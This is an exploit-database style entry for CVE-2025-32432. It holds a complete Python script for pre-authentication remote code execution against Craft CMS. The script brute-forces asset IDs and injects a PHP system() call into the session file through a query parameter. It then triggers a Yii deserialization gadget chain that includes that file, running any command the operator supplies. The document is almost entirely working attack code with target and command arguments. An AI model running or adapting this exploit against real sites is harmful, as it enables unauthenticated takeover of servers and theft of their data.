Craft CMS 5.6.16 - RCE

# Exploit Title: Craft CMS 5.6.16 - RCE
# Google Dork: N/A
# Date: 2026-01-24
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Vendor Homepage: https://craftcms.com
# Software Link: https://github.com/craftcms/cms
# Version: <= 3.9.14, <= 4.14.14, <= 5.6.16
# Tested on: Linux, Apache/Nginx, PHP 8.x
# CVE: CVE-2025-32432
#
# Description:
# Craft CMS contains a pre-authentication remote code execution vulnerability
# in the assets/generate-transform endpoint. By abusing a Yii deserialization
# gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session
# file, an unauthenticated attacker can achieve arbitrary command execution.
#

import requests
import argparse
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def find_asset_id(base_url, max_attempts=300):
    """
    Brute-force search for a valid Asset ID.
    This is optional and may be unreliable on some installations.
    """
    session = requests.Session()
    session.verify = False

    print("[*] Brute-forcing Asset ID (best-effort)...")

    for asset_id in range(1, max_attempts + 1):
        url = f"{base_url}/actions/assets/generate-transform"
        payload = {
            "assetId": asset_id,
            "handle": {
                "width": 1,
                "height": 1,
                "as hack": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "yii\\rbac\\PhpManager",
                    "__construct()": [
                        {
                            "itemFile": "invalid"
                        }
                    ]
                }
            }
        }

        try:
            r = session.post(url, json=payload, timeout=5)
            if r.status_code != 404:
                print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})")
                return asset_id
        except:
            continue

    print(f"[-] No valid Asset ID found after {max_attempts} attempts.")
    return None


def implant_php(base_url, cmd):
    """
    Step 1: Poison the PHP session file with injected PHP code.
    This relies on old-style behavior where query parameters are written
    into the session file without sanitization.
    """

    injection = f"<?php system('{cmd}'); ?>"
    url = f"{base_url}/index.php?p=admin/dashboard&a={injection}"

    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[+] Session poisoning request sent successfully")
            return True
        else:
            print(f"[-] Injection failed (HTTP {r.status_code})")
            return False
    except Exception as e:
        print(f"[-] Injection error: {e}")
        return False


def execute_command(base_url, asset_id, session_id):
    """
    Step 2: Trigger deserialization and force PhpManager to include
    the poisoned session file from /tmp/sess_<PHPSESSID>.
    """

    url = f"{base_url}/actions/assets/generate-transform"

    payload = {
        "assetId": asset_id,
        "handle": {
            "width": 1,
            "height": 1,
            "as hack": {
                "class": "craft\\behaviors\\FieldLayoutBehavior",
                "__class": "yii\\rbac\\PhpManager",
                "__construct()": [
                    {
                        "itemFile": f"/tmp/sess_{session_id}"
                    }
                ]
            }
        }
    }

    try:
        r = requests.post(url, json=payload, verify=False, timeout=15)
        return r.text
    except Exception as e:
        return f"[-] Execution request failed: {e}"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution"
    )
    parser.add_argument("-u", "--url", required=True,
                        help="Target base URL (e.g. https://victim.com)")
    parser.add_argument("-c", "--cmd", required=True,
                        help="Command to execute (e.g. id, whoami)")
    parser.add_argument("-a", "--asset", type=int,
                        help="Known valid Asset ID (recommended)")
    parser.add_argument("-s", "--scan-max", type=int, default=300,
                        help="Max Asset ID brute-force range (optional)")

    args = parser.parse_args()

    base_url = args.url.rstrip('/')
    session = requests.Session()
    session.verify = False

    # Step 0: Obtain PHP session ID
    try:
        r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
        session_id = session.cookies.get("PHPSESSID", None)

        if not session_id:
            print("[-] Failed to obtain PHPSESSID")
            return

        print(f"[+] Obtained PHPSESSID: {session_id}")

    except Exception as e:
        print(f"[-] Failed to establish session: {e}")
        return

    # Determine Asset ID
    asset_id = args.asset
    if not asset_id:
        asset_id = find_asset_id(base_url, args.scan_max)
        if not asset_id:
            print("[-] Exploitation aborted: no valid Asset ID found")
            return

    print(f"[+] Using Asset ID: {asset_id}")

    # Step 1: Poison session file
    if not implant_php(base_url, args.cmd):
        print("[-] Session poisoning failed")
        return

    print("[*] Waiting for session file to be written...")
    time.sleep(2)

    # Step 2: Trigger RCE
    print(f"[*] Triggering command execution: {args.cmd}")
    output = execute_command(base_url, asset_id, session_id)

    # Output handling
    print("\n[+] Server response:")
    print(output[:2000])


if __name__ == "__main__":
    print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===")
    main()